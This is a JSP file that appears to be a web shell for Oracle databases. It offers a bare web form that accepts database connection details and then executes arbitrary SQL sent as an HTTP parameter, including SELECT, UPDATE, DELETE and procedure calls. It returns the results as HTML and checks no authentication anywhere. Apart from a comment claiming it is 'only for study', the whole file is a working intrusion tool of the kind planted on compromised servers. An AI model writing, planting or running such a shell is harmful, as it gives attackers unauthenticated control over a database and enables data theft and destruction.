<%@ page contentType="text/html;charset=gb2312"%> <%@ page import="java.lang.*"%> <%@ page import="java.sql.*"%> <%@ page import="java.util.*"%> <%@ page import="java.io.*"%> <%! /** * * this tool only for study * you can find this everywhere */ //test fun public List testconn(java.lang.String url, java.lang.String user, java.lang.String password) throws java.lang.Exception { Class.forName("oracle.jdbc.driver.OracleDriver").newInstance(); Connection conn = DriverManager.getConnection(url, user, password); String sql = "SELECT * FROM DBA_TABLES WHERE TABLE_NAME not like '%$%' and num_rows>0 and rownum<10"; Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_UPDATABLE); ResultSet rs = stmt.executeQuery(sql); List list = new Vector(); list.add(new String[]{"some system tables!","good luck!"}); while (rs.next()) { java.lang.String str[] = new java.lang.String[2]; str[0] = rs.getString("owner"); str[1] = rs.getString("table_name"); list.add(str); } rs.close(); stmt.close(); conn.close(); return list; } /**getConn */ public Connection getConn(String url, String user, String password) throws java.lang.Exception { Class.forName("oracle.jdbc.driver.OracleDriver").newInstance(); return DriverManager.getConnection(url, user, password); } /**to exec the sql query. */ public List getSqlExecuteContext(String sql, String url, String user, String password) throws java.lang.Exception { Connection conn = getConn(url, user, password); Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_UPDATABLE); ResultSet rs = stmt.executeQuery(sql); ResultSetMetaData rsma = rs.getMetaData(); int inttmp = rsma.getColumnCount(); List listcolum = new Vector(); for (int i = 0; i < inttmp; i++) { listcolum.add(rsma.getColumnName(i+1)); } List list = new Vector(); list.add(listcolum); while (rs.next()) { List listRsValue = new Vector(); for (int i = 0; i < inttmp; i++) { listRsValue.add(rs.getObject(i + 1)); } list.add(listRsValue); } rs.close(); stmt.close(); conn.close(); return list; } /**execute update,delete,proc,create and so on... */ public int executeUpdate(String sql, String url, String user, String password) throws java.lang.Exception { Connection conn = getConn(url, user, password); Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_UPDATABLE); int i = stmt.executeUpdate(sql); conn.commit(); stmt.close(); conn.close(); return i; } /**to invoke other fun */ public List toFuckLZ(String str, String url, String user, String password) { List list = new Vector(); if (str==null||str.length()<7) { return list; } if (str.substring(0, 6).toLowerCase().equals("select")) { try { list = getSqlExecuteContext(str, url, user, password); } catch (Exception ex) { list.add(ex.getMessage()); } } else { try { list.add("success to yingxiang ji lu " + executeUpdate(str, url, user, password) + " tiao !"); } catch (Exception ex) { list.add(ex.getMessage()); } } return list; }%> <% //globol String action = ""; action = request.getParameter("action"); String oracle_config_db_username = ""; String oracle_config_db_password = ""; String oracle_config_db_ip = ""; String oracle_config_db_sid = ""; String oracle_config_db_port = ""; String oracle_config_db_url = ""; if (action == null) { //config %> oracle execute...
all Parameter url ,dbuser,dbname
<% } else if (action.equals("db_config_xiangxi")) { oracle_config_db_username = request .getParameter("oracle_config_db_username"); oracle_config_db_password = request .getParameter("oracle_config_db_password"); oracle_config_db_ip = request .getParameter("oracle_config_db_ip"); oracle_config_db_sid = request .getParameter("oracle_config_db_sid"); oracle_config_db_port = request .getParameter("oracle_config_db_port"); String url = null; url = "jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=" + oracle_config_db_ip + ")(PORT=" + oracle_config_db_port + ")))(CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=" + oracle_config_db_sid + ")))"; List list = new Vector(); list.add(new String[]{"some system tables!","good luck!"}); //try { // list = testconn(url, oracle_config_db_username, // oracle_config_db_password); //} catch (java.lang.Exception ex) { //} request.getSession().setAttribute("url_dbconn", url); request.getSession().setAttribute("db_user", oracle_config_db_username); request.getSession().setAttribute("db_password", oracle_config_db_password); %> ORACLE table list ??
username--tablename click me to con
<% } else if (action.equals("db_config_url")) { oracle_config_db_url = request .getParameter("oracle_config_db_url"); oracle_config_db_username = request .getParameter("oracle_config_db_username1"); oracle_config_db_password = request .getParameter("oracle_config_db_password1"); List list = new Vector(); //try { // list = testconn(oracle_config_db_url, // oracle_config_db_username, // oracle_config_db_password); //} catch (java.lang.Exception e) { //} list.add(new String[]{"some system tables!","good luck!"}); request.getSession().setAttribute("url_dbconn", oracle_config_db_url); request.getSession().setAttribute("db_user", oracle_config_db_username); request.getSession().setAttribute("db_password", oracle_config_db_password); %> ORACLE table list ??
username--tablename click me to con
<% } else if (action.equals("show")) { %>
 
select the em
sql:
result:
<% } else if (action.equals("todoExeSql")) { String url = null; if (request.getSession().getAttribute("url_dbconn") != null) { url = request.getSession().getAttribute("url_dbconn") .toString(); } String user = null; if (request.getSession().getAttribute("db_user") != null) { user = request.getSession().getAttribute("db_user") .toString(); } String password = null; if (request.getSession().getAttribute("db_password") != null) { password = request.getSession().getAttribute("db_password") .toString(); } String strsql = null; if (request.getParameter("sqlrequest") != null) { strsql = request.getParameter("sqlrequest").toString(); } String strResponse ="execute :\"" + strsql + "\""; List listtmp = toFuckLZ(strsql, url, user, password); for (int i = 0; i < listtmp.size(); i++) { List listwaiceng = new Vector(); try { listwaiceng = (Vector)listtmp.get(i); } catch (Exception ex) { strResponse += "error! to check you sql! "+listtmp; break; } if (listwaiceng == null) { strResponse += "
"; continue; } strResponse += ""; for (int j = 0; j < listwaiceng.size(); j++) { try{ strResponse += ""; }catch(Exception ex){ strResponse += "error! to check you sql! "+listtmp; break; } } strResponse += ""; } strResponse += "
"+listwaiceng.get(j)+"
"; try{ PrintWriter output = response.getWriter(); output.println(strResponse); output.flush(); output.close(); }catch(Exception ex){ } } %>